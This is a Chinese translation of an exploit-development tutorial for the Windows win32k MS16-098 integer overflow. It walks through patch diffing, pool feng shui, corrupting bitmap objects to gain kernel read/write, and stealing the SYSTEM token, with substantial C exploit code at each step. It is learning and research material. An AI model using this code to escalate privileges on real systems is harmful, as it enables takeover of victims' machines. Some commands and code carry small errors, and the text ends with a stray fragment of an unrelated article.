譯:Ox9A82
預估稿費:300RMB(不服你也來投稿啊?。?/strong>
投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿
前言
在我剛開始接觸內核漏洞時我沒有任何有關內核的經驗,更不用說去利用內核漏洞了,但我總是對于逆向工程和漏洞利用技術非常感興趣。
最初,我的想法很簡單:找到一個目前還沒有可用exploit的可利用漏洞的補丁,從它開始我的逆向工程以及利用的旅途。這篇文章里談及的漏洞不是我的最早選的那個:那個測試失敗了。這實際上是我的第二選擇,我花費了4個月的時間來了解有關這個漏洞的一切。
我希望這篇博客可以幫到那些渴望了解逆向工程和exploit開發的人。這是一個漫長的過程,而我又是一個內核exploit開發方面的新手,所以我希望你在閱讀這篇文章時能夠保持耐心。
使用的工具
Expand.exe (用于MSU文件)
Virtual KD http://virtualkd.sysprogs.org/(他們說自己比正常的內核調試要快上45倍是真的)
Windbg (kd)
IDA professional. https://www.hex-rays.com/products/ida/
Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html
Expand.exe的使用
Expand.exe可以用來從微軟更新文件(MSU)和CAB文件中提取文件。
使用以下命令更新和提取CAB文件到指定目錄:
12 | Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO] Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO] |
如果命令后面接地址,會根據符號定義的結構進行dump
!pool,!poolfind和!poolused命令在我分析內核池溢出,進行內核池風水時幫了我很多。
一些有用的例子:
要dump指定地址的內核池頁面布局,我們可以使用以下命令:
1 | kd> !poolused [POOLTYPE] [POOLTAG] |
要檢索指定池類型中的指定池標記的對象的分配數量:
1 | kd> !poolused [POOLTYPE] [POOLTAG] |
要為指定的池標記搜索提供的池類型的完整分配的內核池地址空間。
1 | kd> !poolfind [POOLTAG] [POOLTYPE] |
Windbg使用技巧
相比其他調試器我個人更喜歡Windbg,因為它支持一些很有用的命令,特別是對于內核調試來說。
1 | kd> dt [OBJECT SYMBOL NAME] [ADDR] |
dt命令使用符號表定義的結構來dump內存,這在分析對象時非常有用,并且可以在對象的符號已導出時了解一些特殊的情況。
使用這個命令時如果不加地址那么會直接顯示這個對象的結構。例如,要查看EPROCESS對象的結構,我們可以使用以下命令。
通過補丁對比來了解漏洞原理
下載好更新文件,我們打開后發現被修改了的文件是win32k.sys,版本是6.3.9600.18405。當與其舊版本6.3.9600.17393進行二進制對比時,我們使用的是IDA的Zynamics BinDiff插件??梢园l現一個發生了更改的有趣函數的相似性評級是0.98。存在漏洞的函數是win32k!bFill。下面是兩個版本之中的區別。
diff快速的展示出了一個整數溢出漏洞是如何通過加入一個UlongMult3函數來修補的,這個函數通過相乘來檢測整數溢出。如果結果溢出了對象類型(即ULONG),則返回錯誤“INTSAFE_E_ARITHMETIC_OVERFLOW”。
這個函數被添加在調用PALLOCMEM2之前,PALLOCMEM2使用了一個經過檢查的參數[rsp + Size]。這確認了這個整數溢出將導致分配小尺寸的對象; 那么問題是——這個值可以被用戶通過某種方式控制嗎?
當面臨一個復雜問題的時候,建議先將它分解為更小的問題。 因為內核漏洞利用是一個大問題,所以一步一步進行似乎是一種好方法。步驟如下:
1.擊中存在漏洞的函數
2.控制分配的大小
3.內核內存池(pool)Feng Shui技術
4.利用GDI位圖對象(Bitmap GDI objects)
5.分析并且控制溢出
6.修復溢出的頭部
7.從SYSTEM進程的內核進程對象(EPROCESS)中偷取表示權限的Token
8.成功得到SYSTEM權限
Step 1 –觸發漏洞函數
首先,我們需要了解如何通過查看IDA中的函數定義來擊中漏洞函數。可以看出,該函數在EPATHOBJ上起作用,并且函數名“bFill”說明它與填充路徑有關。通過用谷歌搜索“msdn路徑填充”,我得到了BeginPath函數和示例程序。
1 | bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *) |
理論上來說,如果我們使用示例中的代碼,它應該會擊中漏洞函數?
12345678910 | // Get Device context of desktop hwnd hdc=GetDC(NULL); //begin the drawing path BeginPath(hdc); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); //End the path EndPath(hdc); //Fill Path FillPath(hdc); |
好吧,這沒有實現。所以我在windbg中對每個函數的起始部分都添加了一個斷點。
1 | EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() |
再次運行示例代碼,發現第一個函數被命中,然后不再繼續命中最后的函數是EngFastFill。為了不讓深入的逆向分析過程給讀者增加無聊的細節,我們這里直接給出結論。簡而言之,這個函數是一個switch case結構,將最終會調用bPaintPath,bBrushPath或bBrushPathN_8x8。到底調用哪個則取決于一個畫刷對象(brush object)關聯的hdc。上面的代碼甚至沒有執行到switch case,它在之前就失敗了。我發現有四種設備上下文類型
打印機
顯示,它是默認值
信息
內存,它支持對位圖對象的繪制操作。
根據提供的信息,我嘗試將設備類型轉換為內存(位圖)如下:
12345678910111213141516 | // Get Device context of desktop hwnd HDC hdc=GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC=CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap=CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj=(HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); |
事實證明,這正是擊中漏洞函數bFill所需要做的。
Step 2 – Controlling the Allocation Size:
來看看分配部分的代碼
在調用分配函數之前,首先檢查[rbx + 4](rbx是我們的第一個參數,即EPATHOBJ)的值是否大于0x14.如果大于,則這個值被乘以3就是這里導致的整數溢出。
1 | lea ecx, [rax+rax*2]; |
溢出發生實際上有兩個原因:一是這個值被轉換到32位寄存器ecx中和二是[rax + rax * 2]意味著值被乘以3。通過一些計算,我們可以得出結論,要溢出這個函數的值需要是:
1 | 0xFFFFFFFF / 3=0x55555555 |
任何大于上面的值都可以溢出32位的寄存器。
1 | 0x55555556 * 3=0x100000002 |
然后,做完乘法的結果又向左移了4位,一般左移4位被認為等同于乘以2 ^ 4。
1 | 0x100000002 << 4 | 0x100000002 * 2^4)=0x00000020 (32位寄存器值) |
目前為止,仍然沒有結論如何去控制這個值,所以我決定閱讀更多關于使用PATH對象進行Windows GDI利用的帖子,看看有沒有什么思路。我很巧合的看到了一篇博文,討論的是MS16-039的利用過程。這篇博文中討論的漏洞與我們當前攻擊的目標函數擁有相同的代碼,就好像有人在這兩個函數中復制粘貼代碼一樣。如果沒有這篇博客,那么我會花費更多的時間在這上面,所以非常感謝你,NicoEconomou。
但是,人們會想當然的認為,可以直接從里面拿到一個偉大的指南,但實際上根本不是這樣。雖然這篇文章真的很有助于利用思路。但真正的價值是,對于一對不同的利用,和我這樣一個根本沒有內核開發和內核利用經驗的人,我不得不深入到利用過程中的每個方面,并了解它的工作原理。就是說——“授人以魚不如授人以漁”
我們繼續,那個值是PATH對象中的point數,并且可以通過多次調用PolylineTo函數來控制。觸發50字節分配的代碼是:
123456789101112131415161718192021 | //Create a Point array static POINT points[0x3fe01]; // Get Device context of desktop hwnd HDC hdc=GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC=CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap=CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj=(HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. for (int j=0; j < 0x156; j++) { PolylineTo(hMemDC, points, 0x3FE01); } } // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); |
通過以point數0x3FE01調用PolylineTo函數0x156次將產生
1 | 0x156 * 0x3FE01=0x5555556 |
注意,這個數字小于前面計算產生的數字,原因是實際中當該位左移4位時,最低的半字節將被移出32位寄存器,而剩下的是小數。另一件值得一提的是,應用程序將向point列表中添加一個額外的point,因此傳遞給溢出指令的數字將為0x5555557。讓我們計算一下,看看它會如何工作。
12 | 0x5555557 * 0x3=0x10000005 0x10000005 << 4=0x00000050 |
到那時候,將會分配50字節大小,應用程序將嘗試復制0x5555557大小的數據到那一小塊內存,這將迅速導致一個藍屏,并且我們成功的觸發了漏洞!
Step 3 – 內核內存池Feng Shui:
現在開始困難的部分:內核池風水
內核池風水是一種用于控制內存布局的技術,通過分配和釋放內存的調用在目標對象分配之前,先使內存處于確定的狀態。這種想法是想要強制我們的目標對象分配在我們可控對象的附近,然后溢出相鄰的對象并使用發生溢出的對象來利用內存破壞原語(譯注:所謂的“內存破壞原語”,指的應該是一些可以被利用的指令,比如mov [eax],xxx 可以進行寫),獲得讀/寫內核內存的能力。我選擇的對象是Bitmap,具有池標簽Gh05(pool tag),他會被分配給相同的頁會話池,并且可以使用SetBitmapBits/GetBitmapBits來控制寫/讀到任意位置。
發生崩潰是因為在bFill函數結束時,會釋放分配的對象,當對象被釋放時,內核會驗證內存池中相鄰塊的塊頭部。如果它被損壞,將拋出錯誤BAD_POOL_HEADER并退出。由于我們溢出了相鄰的頁面,所以這個檢查將會失敗,并且會發生藍屏。
避開這個檢查導致的崩潰的竅門是強制我們的對象分配在內存頁的結尾。這樣,將不會有下一個塊,并且對free()的調用將正常傳遞。要實現這個FengShui需要記住以下幾點:
內核池頁面大小為0x1000字節,任何更大的分配將分配到大內核池(Large kernel Pool)。
任何大于0x808字節的分配都會被分配到內存頁的開始。
后續分配將從內存頁末尾開始分配。
分配需要相同的池類型,在我們的情況下是分頁會話池(Paged)。
分配對象通常會添加大小為0x10的池頭。 如果分配的對象是0x50,分配器將實際分配0x60,包括池頭。
有了這些,就可以開發內核池風水了,來看看這將如何工作,看看漏洞代碼:
1234567891011121314151617181920212223242526272829303132333435363738394041424344 | void fungshuei() { HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k=0; k < 5000; k++) { bmp=CreateBitmap(1670, 2, 1, 8, NULL); // 1670=0xf80 1685=0xf90 allocation size 0xfa0 bitmaps[k]=bmp; } HACCEL hAccel, hAccel2; LPACCEL lpAccel; // Initial setup for pool fengshui. lpAccel=(LPACCEL)malloc(sizeof(ACCEL)); SecureZeroMemory(lpAccel, sizeof(ACCEL)); // Allocating 7000 accelerator tables of size 0x40 0x40 *2=0x80 filling in the space at end of page. HACCEL *pAccels=(HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2=(HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i=0; i < 7000; i++) { hAccel=CreateAcceleratorTableA(lpAccel, 1); hAccel2=CreateAcceleratorTableW(lpAccel, 1); pAccels[i]=hAccel; pAccels2[i]=hAccel2; } // Delete the allocated bitmaps to free space at beginning of pages for (int k=0; k < 5000; k++) { DeleteObject(bitmaps[k]); } //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k=0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size=0xbc0 } // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k=0; k < 5000; k++) { bmp=CreateBitmap(0x52, 1, 1, 32, NULL); //size=3c0 bitmaps[k]=bmp; } // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k=0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k=2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } } |
可以清楚地看到分配/解除分配的流量,GIF值得一千字
通過分配/釋放調用,顯示實際發生的事情,內核風水的第一步是:
123456 | HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k=0; k < 5000; k++) { bmp=CreateBitmap(1670, 2, 1, 8, NULL); bitmaps[k]=bmp; } |
從5000個大小為0xf80的Bitmap對象的分配開始。這將最終開始分配新的內存頁面,每個頁面將以大小為0xf80的Bitmap對象開始,并在頁面結尾留下0x80字節的空間。如果想要檢查噴射是否工作,我們可以在bFill內調用PALLOCMEM,并使用poolused 0x8 Gh?5來查看分配了多少個位圖對象。另一件事是,如何計算提供給CreateBitmap()函數的大小轉換為由內核分配的Bitmap對象。其實這只是一個近似的計算,需要不斷的嘗試和糾錯,通過不斷的更改位圖的大小,并使用poolfind命令查看分配的大小進行修正。
123456789 | // Allocating 7000 accelerator tables of size 0x40 0x40 *2=0x80 filling in the space at end of page. HACCEL *pAccels=(HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2=(HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i=0; i < 7000; i++) { hAccel=CreateAcceleratorTableA(lpAccel, 1); hAccel2=CreateAcceleratorTableW(lpAccel, 1); pAccels[i]=hAccel; pAccels2[i]=hAccel2; } |
然后,分配7000個加速器表對象(Usac)。每個Usac的大小為0x40,因此其中有兩個將分配到剩下的0x80字節的內存中。這將填充前面的分配輪次的剩余0x80字節,并完全填充我們的頁面(0xf80 + 80=0x1000)。
1234 | // Delete the allocated bitmaps to free space at beginning of pages for (int k=0; k < 5000; k++) { DeleteObject(bitmaps[k]); } |
下一次分配以前分配的對象將保留有我們的內存頁布局,在頁的開頭有0xf80個空閑字節。
1234 | //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k=0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size=0xbc0 } |
分配5000個大小為0xbc0字節的區域對象(Gh04)。這個大小是必要的,因為如果Bitmap對象直接放置在我們的目標對象附近,溢出它就覆蓋不到Bitmap對象中的我們目標的成員(在后面部分討論),而我們需要溢出這個目標成員配合GetBitmapBits/SetBitmapBits來讀/寫內核內存。至于如何計算分配的對象的大小與提供給CreateEllipticRgn函數的參數相關,需要通過不斷的嘗試和修正來找到的。
對于feng shui來說,內核頁面在頁的開頭有0xbc0大小的Gh04對象,在頁的結尾有0x80字節。它們之中有0x3c0個字節的空閑空間。
12345 | // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k=0; k < 5000; k++) { bmp=CreateBitmap(0x52, 1, 1, 32, NULL); //size=3c0 bitmaps[k]=bmp; } |
分配大小5000個大小為0x3c0字節的位圖對象來填充被釋放的內存,位圖對象是我們溢出的目標。
1234 | // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k=0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } |
下一步是分配1700個大小為0x60的剪貼板對象(Uscb),這只是為了在分配我們的模板對象之前填充掉大小為0x60的任何內存。這樣一來當對象被分配時,它幾乎肯定會落入我們的內存布局之中。Nicolas使用這個對象進行了內核噴射,我沒有試圖模擬free或者syscall來做到這一點,然而發現了一些比較古怪的行為,基本上是使用下面的代碼將東西復制到剪貼板:
123456789101112131415 | void AllocateClipBoard(unsigned int size) { BYTE *buffer; buffer=malloc(size); memset(buffer, 0x41, size); buffer[size-1]=0x00; const size_t len=size; HGLOBAL hMem=GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), buffer, len); GlobalUnlock(hMem); OpenClipboard(wnd); EmptyClipboard(); SetClipboardData(CF_TEXT, hMem); CloseClipboard(); GlobalFree(hMem); } |
我發現,如果你省略掉OpenCliboard,CloseClipBboard和EmptyClipboard直接調用SetClipboardData,那么這個對象會被分配,并且永遠不會被釋放。我猜你多次調用后會發生內存耗盡,但我并沒有進行測試。此外,我所說的對象不能被釋放,是指即使你使用EmptyCliBoard打開和清空剪貼板,或者連續調用SetBitmapData和EmptyClipboad也不行。
12345 | // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k=2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } |
我們的內核FengShui的最后一步就是在分配的加速器表對象(Usac)中打孔,正好創建2000個孔。內核風水函數也是在漏洞被觸發之前就要被調用的,如果一切順利的話我們的目標對象將被分配到這些孔中的一個,其位置在內存頁的末尾。
Step 4 – 利用Bitmap位圖對象:
位圖對象的結構以SURFOBJ64作為起始,后面接著的是位圖數據,這個對象有三個我們感興趣的成員,sizlBitmap,pvScan0和hdev。sizlBitmap是位圖的寬度和高度,pvScan0是指向位圖數據開始的指針,hdev是指向設備句柄的指針。
123456789101112131415 | typedef struct { ULONG64 dhsurf; // 0x00 ULONG64 hsurf; // 0x08 ULONG64 dhpdev; // 0x10 ULONG64 hdev; // 0x18 SIZEL sizlBitmap; // 0x20 ULONG64 cjBits; // 0x28 ULONG64 pvBits; // 0x30 ULONG64 pvScan0; // 0x38 ULONG32 lDelta; // 0x40 ULONG32 iUniq; // 0x44 ULONG32 iBitmapFormat; // 0x48 USHORT iType; // 0x4C USHORT fjBitmap; // 0x4E } SURFOBJ64; // sizeof=0x50 |
我們利用位圖對象的方式是通過使用受控值來覆蓋sizlBitmap或pvScan0。SetBitmapBits/ GetBitmapBits要驗證讀寫的數據量,就是使用的這兩個對象成員,它表示了位圖可用數據的大小。例如,GetBitmapBits會計算位圖的寬度x高度x4(每像素每個字節32位,作為CreateBitmap的參數),來驗證從pvScan0指向的地址可以讀取的數據量。
如果sizlBitmap的成員被更大的寬度和高度值覆蓋,那么它將可以擴大位圖以讀取和寫入數據。在這個漏洞中,例如,它是寬度0xFFFFFFFF×高度1×4。
如果溢出的數據可控,那么我們可以直接使用我們想要讀寫的地址來設置pvScan0成員的值。
將第一個位圖的pvScan0設置為第二個位圖的pvScan0的地址。
使用第一個位圖作為管理器,將第二個位圖的pvScan0指針設置為指向我們要讀寫的地址。
這樣,第二個位圖實際上就可以讀寫這個地址了。
對這個漏洞來說,用于溢出堆的數據不是完全可控的,因為被復制的數據是大小為0x30字節的point或更特定的邊緣對象。幸運的是,如下一節所示,被重寫的一些數據可以被間接控制,并且將用值0x1和0xFFFFFFFF覆蓋掉sizlBitmap成員,這會擴大位圖對象可以讀寫的數據量。使用的流程如下。
1.觸發溢出并覆蓋相鄰位圖對象的sizlBitmap成員。
2.使用擴展位圖作為管理器覆蓋第二個位圖的pvScan0成員。
3.使第二個位圖作為工作者,利用它讀寫由第一個位圖設置的地址。
hdev成員的重要性將在下一節中詳細討論,主要是它要么會設置為0要么就設置為指向設備對象的指針。
Step 5 – 分析并控制溢出數據:
現在該分析如何控制溢出了,為了更好地理解它,我們需要看看addEdgeToGet函數,這個函數將point復制到新分配的內存中。剛開始時,addEdgeToGet將r11和r10寄存器的值設置為[r9+4]和[r8+4]。
然后會進行檢查,檢查上一個point.y是否小于[r9 + 0c],而這里是0x1f0。如果是這種情況的話,當前point會被復制到我們的緩沖區中,如果不是則跳過當前point。還需要注意的是point.y的值向左移動了一些,例如如果前面的point.y=0x20,則值將為0x200。
現在我們有了控制溢出的原語,我們還需要找出值0x1和0xFFFFFFFF是怎么被復制的。
在第一次檢查中,函數將從表示當前point.y值的ebp寄存器中減去r10中的前一個point.y值。如果得到的結果是unsigned(譯注:js跳轉),它會將0xFFFFFFFF復制到rdx指向的緩沖區偏移0x28處。我們這里猜測,這個函數是在檢查當前point.y到前一個point.y的方向。
在第二次檢查中,對point.x也一樣,從表示當前point.x的ebx上減去表示上一個point.x的r8,如果結果是無符號的,函數將復制0x1到我們r15指向的緩沖區的0x24偏移處。這個操作很有意義,因為它對應于上一個檢查時復制數據到0x28偏移處,而且我們的目的只是想溢出sizlBitmap結構。對于大小為0x30字節的point結構,也會把1復制到由[r15 + 0x24]指向的對象的hdev成員中。
計算point的數量來溢出緩沖區以覆蓋sizLBitmap成員是比較容易的,并且該漏洞exploit的執行方式是簡單地將上一個point.y值篡改為更大的值。但是這將使前面提到的那些檢查失敗,從而使得這些point不會被復制。來看一下exploit中的代碼片段。
12345678 | static POINT points[0x3fe01]; for (int l=0; l < 0x3FE00; l++) { points[l].x=0x5a1f; points[l].y=0x5a1f; } points[2].y=20; //0x14 < 0x1f points[0x3FE00].x=0x4a1f; points[0x3FE00].y=0x6a1f; |
這就是最初的point數組被初始化的過程,注意points[2].y的值設置為20,即十六進制中的0x14,小于0x1f,因此將復制后續的points到我們分配的緩沖區中。
1234567 | for (int j=0; j < 0x156; j++) { if (j > 0x1F && points[2].y !=0x5a1f) { points[2].y=0x5a1f; } if (!PolylineTo(hMemDC, points, 0x3FE01)) { fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); } } |
然后,一個驗證被添加到調用PolyLineTo的循環中,以檢查循環次數是否大于0x1F,如果大于就將points [2].y的值更改為大于0x1F0的值,從而使檢查失敗,由此后續的point不會再被復制到我們的緩沖區中。
這樣可以有效地控制溢出,函數會溢出緩沖區直到下一個相鄰的位圖對象的sizlBitmap成員為0x1和0xFFFFFFFF。這有效的增大了位圖對象,允許我們對這個位圖對象進行越界讀寫。找到到底是哪個位圖對象的方法是通過循環調用GetBitmapBits函數,如果得到的大小大于從我們的內核池噴出的位圖的原始值則該位圖是被溢出的,那么它是管理器位圖,并且相鄰的下一個是工作者位圖。
12 | for (int k=0; k < 5000; k++) { res=GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap. } |
如果一切都能按計劃進行,我們就應該能夠從內存中讀取0x1000 bit。 下面有位圖對象在溢出前后,標題,sizLBitmap和hdev成員溢出。
下面是一個位圖對象在溢出前后的成員的值
當循環檢測是哪個位圖被執行時,會在幾次調用GetBitmapBits之后發生崩潰。崩潰發生在PDEVOBJ:: bAlowSharedAcces函數中,當試圖從地址0x0000000100000000(它是上面重寫的位圖對象的hdev成員)讀取時。在分析時注意到位圖對象有一個成員要么是NULL要么是指向的Gdev設備對象的指針,在這種情況下這個成員是指向設備對象的指針。
函數win32k!GreGetBitmapBits會調用NEEDGRELOCK::vLock,而這個函數會接著調用PDEVOBJ::bAllowSharedAccess。通過觀察NEEDGRELOCK::vLock函數的反匯編,可以注意到這個函數使用PDEVOBJ只是為了調用PDEVOBJ::bAllowSharedAccess,如果這個函數的返回值為零,那么它將繼續進行其他的檢查,此后就沒有再使用過PDEVOBJ了。
此外,在GreGetBitmapBits中,函數不檢查NEEDGRELOCK::vlock的返回值,執行后,PDEVOBJ:: bAllowSharedAccess將嘗試讀取第一個功能塊中的地址,如果讀到的數據等于1,那么這個函數將以0值退出,而這是繼續執行所要求的。
使用VirtualAlloc為此地址分配內存并將所有的字節都設置為1,將會無錯誤的退出函數。并且會回收GetBitmapBits使用的位圖數據,整個過程不會發生崩潰。
12 | VOID *fake=VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(fake, 0x1, 0x100); |
Step 6 – 修復被溢出的頭部:
在這一點上,exploit能夠讀寫大小為0xFFFFFFFF * 1 * 4的相鄰內存,這足以到達下一頁中的第二個相鄰位圖對象,并覆蓋要用于在內核內存上進行任意讀寫的pvScan0地址。
當exploit退出時,我注意到有時在進程退出時會發生一些與池頭有關的崩潰。解決這個問題的方案是使用GetBitmapbits,讀取下一個區域(region)和位圖對象的頭,這些對象沒有被覆蓋,然后泄露一個可以在region對象中找到的內核地址,
計算被溢出覆蓋的區域(region)對象的地址的方法是將泄漏出來的地址的最低字節置為空,這將提供給我們當前頁的開始的地址,然后將倒數第二個低字節減去0x10,從當前頁的起始減去0x1000,就可以得到前一頁的開始地址。
1234 | addr1[0x0]=0; int u=addr1[0x1]; u=u - 0x10; addr1[1]=u; |
接下來要計算溢出的Bitmap對象的地址,記住region對象的大小為0xbc0,因此將在最后一步得到的地址的最低字節設置為0xc0,并將0xb加給倒數第二個最低字節,將獲得發生溢出的位圖對象的頭部地址。
1234 | ddr1[0]=0xc0; int y=addr1[1]; y=y + 0xb; addr1[1]=y; |
然后,管理器(manager)位圖對象通過SetBitmapBits覆寫工作者位圖對象的pvScan0成員為區域頭的地址(region header)。然后,工作者(worker)位圖被SetBitmapBits用來設置該地址指向的數據為在第一步驟中讀取的頭部數據。對于溢出的位圖對象頭也是這樣。
1234567891011 | void SetAddress(BYTE* address) { for (int i=0; i < sizeof(address); i++) { bits[0xdf0 + i]=address[i]; } SetBitmapBits(hManager, 0x1000, bits); } void WriteToAddress(BYTE* data) { SetBitmapBits(hWorker, sizeof(data), data); } SetAddress(addr1); WriteToAddress(Gh05); |
Step 7 – 從EPROCESS對象中偷取Token:
這個過程起始于獲取PsInitialSystemProcess全局變量的內核地址,這個指針指向EPROCESS列表中的第一個條目,該指針由ntoskrnl.exe導出。
123456789101112131415161718192021222324252627 | // Get base of ntoskrnl.exe ULONG64 GetNTOsBase() { ULONG64 Bases[0x1000]; DWORD needed=0; ULONG64 krnlbase=0; if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { krnlbase=Bases[0]; } return krnlbase; } // Get EPROCESS for System process ULONG64 PsInitialSystemProcess() { // load ntoskrnl.exe ULONG64 ntos=(ULONG64)LoadLibrary("ntoskrnl.exe"); // get address of exported PsInitialSystemProcess variable ULONG64 addr=(ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); FreeLibrary((HMODULE)ntos); ULONG64 res=0; ULONG64 ntOsBase=GetNTOsBase(); // subtract addr from ntos to get PsInitialSystemProcess offset from base if (ntOsBase) { ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); } return res; } |
PsInitalSystemProcess(譯注:作者起一樣的名字不怕歧義?這里指的是上面代碼中的函數)會把ntoskrnl.exe加載到內存中,并使用GetProcAddress獲取導出的PsInitialSystemProcess的地址,然后使用EnumDeviceDrivers()函數獲取內核基址。把PsInitialSystemProcess的值減去內核加載基址,就可以得到一個偏移量,將此偏移量加到檢索到的內核基址上就可以得到PsInitialSystemProcess指針的內核地址。
1234567891011121314151617181920212223242526 | LONG64 PsGetCurrentProcess() { ULONG64 pEPROCESS=PsInitialSystemProcess();// get System EPROCESS // walk ActiveProcessLinks until we find our Pid LIST_ENTRY ActiveProcessLinks; ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); ULONG64 res=0; while (TRUE) { ULONG64 UniqueProcessId=0; // adjust EPROCESS pointer for next entry pEPROCESS=(ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); // get pid ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); // is this our pid? if (GetCurrentProcessId()==UniqueProcessId) { res=pEPROCESS; break; } // get next entry ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); // if next same as last, we reached the end if (pEPROCESS==(ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) break; } return res; } |
然后,它將使用管理器(manager)和工作者(worker)位圖來遍歷EPROCESS列表,查找列表中的當前進程。找到之后,會通過位圖從EPROCESS列表中的第一個條目讀取SYSTEM的Token,在EPROCESS列表中寫入當前的進程。
12345678910111213 | // get System EPROCESS ULONG64 SystemEPROCESS=PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); ULONG64 CurrentEPROCESS=PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); ULONG64 SystemToken=0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); // write token to current process ULONG64 CurProccessAddr=CurrentEPROCESS + gConfig.TokenOffset; SetAddress((BYTE *)&CurProccessAddr); WriteToAddress((BYTE *)&SystemToken); // Done and done. We're System :) |
Step 8 – SYSTEM !!
現在,當前的進程就擁有了SYSTEM令牌,并且會以SYSTEM權限執行。
1 |
|
本文示例的下載地址:https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow
References
[1] https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects2
[2] https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
[3] https://msdn.microsoft.com/en-us/library/windows/desktop/bb776657(v=vs.85).aspx
[4] http://www.zerodayinitiative.com/advisories/ZDI-16-449/
[5] Using Paths Example: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145181(v=vs.85).aspx
[6] Device Context Types: https://msdn.microsoft.com/en-us/library/windows/desktop/dd183560(v=vs.85).aspx
[7] Memory Device Context: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145049(v=vs.85).aspx
[8] https://technet.microsoft.com/library/security/MS16-098
[9] https://www.amazon.co.uk/Guide-Kernel-Exploitation-Attacking-Core/dp/1597494860
[10] Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes – Keen Team: http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes
[11] Windows Graphics Programming: Win32 GDI and DirectDraw: https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom
[12] Abusing GDI objects for ring0 exploit primitives reloaded: https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf
譯者:an0nym0u5
預估稿費:200RMB
投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿
一、前言
